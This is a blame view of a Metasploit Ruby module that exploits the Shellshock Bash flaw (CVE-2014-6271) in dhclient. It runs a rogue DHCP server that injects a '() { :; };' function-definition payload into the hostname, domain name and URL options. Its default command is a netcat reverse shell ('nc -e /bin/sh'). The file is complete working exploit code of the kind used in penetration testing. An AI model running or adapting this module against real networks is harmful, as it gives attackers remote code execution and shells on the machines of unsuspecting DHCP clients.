2014-09-26 04:37:00 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2014-09-26 04:37:00 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'rex/proto/dhcp'
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Auxiliary
|
2014-09-26 04:37:00 +00:00
|
|
|
include Msf::Exploit::Remote::DHCPServer
|
|
|
|
|
|
|
|
def initialize
|
|
|
|
super(
|
2015-12-01 16:40:46 +00:00
|
|
|
'Name' => 'DHCP Client Bash Environment Variable Code Injection (Shellshock)',
|
2014-09-26 04:37:00 +00:00
|
|
|
'Description' => %q{
|
2015-12-01 16:40:46 +00:00
|
|
|
This module exploits the Shellshock vulnerability, a flaw in how the Bash shell
|
|
|
|
handles external environment variables. This module targets dhclient by responding
|
|
|
|
to DHCP requests with a malicious hostname, domainname, and URL which are then
|
|
|
|
passed to the configuration scripts as environment variables, resulting in code
|
|
|
|
execution.
|
2014-09-26 04:37:00 +00:00
|
|
|
},
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'scriptjunkie', 'apconole[at]yahoo.com', # Original DHCP Server auxiliary module
|
|
|
|
'Stephane Chazelas', # Vulnerability discovery
|
|
|
|
'Ramon de C Valle' # This module
|
|
|
|
],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Actions' =>
|
|
|
|
[
|
|
|
|
[ 'Service' ]
|
|
|
|
],
|
|
|
|
'PassiveActions' =>
|
|
|
|
[
|
|
|
|
'Service'
|
|
|
|
],
|
|
|
|
'DefaultAction' => 'Service',
|
|
|
|
'References' => [
|
2017-06-28 22:50:20 +00:00
|
|
|
[ 'AKA', 'Shellshock' ],
|
2017-06-28 19:48:48 +00:00
|
|
|
[ 'CVE', '2014-6271' ],
|
|
|
|
[ 'CWE', '94' ],
|
|
|
|
[ 'OSVDB', '112004' ],
|
|
|
|
[ 'EDB', '34765' ],
|
|
|
|
[ 'URL', 'https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/' ],
|
|
|
|
[ 'URL', 'http://seclists.org/oss-sec/2014/q3/649' ],
|
|
|
|
[ 'URL', 'https://www.trustedsec.com/september-2014/shellshock-dhcp-rce-proof-concept/' ]
|
2014-09-26 04:37:00 +00:00
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Sep 24 2014'
|
|
|
|
)
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
2014-09-26 18:40:52 +00:00
|
|
|
OptString.new('CMD', [ true, 'The command to run', '/bin/nc -e /bin/sh 127.0.0.1 4444'])
|
2017-05-03 20:42:21 +00:00
|
|
|
])
|
2014-09-26 18:34:44 +00:00
|
|
|
|
|
|
|
deregister_options('DOMAINNAME', 'HOSTNAME', 'URL')
|
2014-09-26 04:37:00 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def run
|
|
|
|
value = "() { :; }; PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin #{datastore['CMD']}"
|
|
|
|
|
2014-09-26 18:34:44 +00:00
|
|
|
hash = datastore.copy
|
|
|
|
hash['DOMAINNAME'] = value
|
|
|
|
hash['HOSTNAME'] = value
|
|
|
|
hash['URL'] = value
|
|
|
|
|
2014-09-26 04:37:00 +00:00
|
|
|
# This loop is required because the current DHCP Server exits after the
|
|
|
|
# first interaction.
|
|
|
|
loop do
|
|
|
|
begin
|
2014-09-26 18:34:44 +00:00
|
|
|
start_service(hash)
|
2014-09-26 04:37:00 +00:00
|
|
|
|
2014-09-26 18:34:44 +00:00
|
|
|
while @dhcp.thread.alive?
|
2014-09-26 04:37:00 +00:00
|
|
|
select(nil, nil, nil, 2)
|
|
|
|
end
|
|
|
|
|
|
|
|
rescue Interrupt
|
|
|
|
break
|
|
|
|
|
|
|
|
ensure
|
|
|
|
stop_service
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|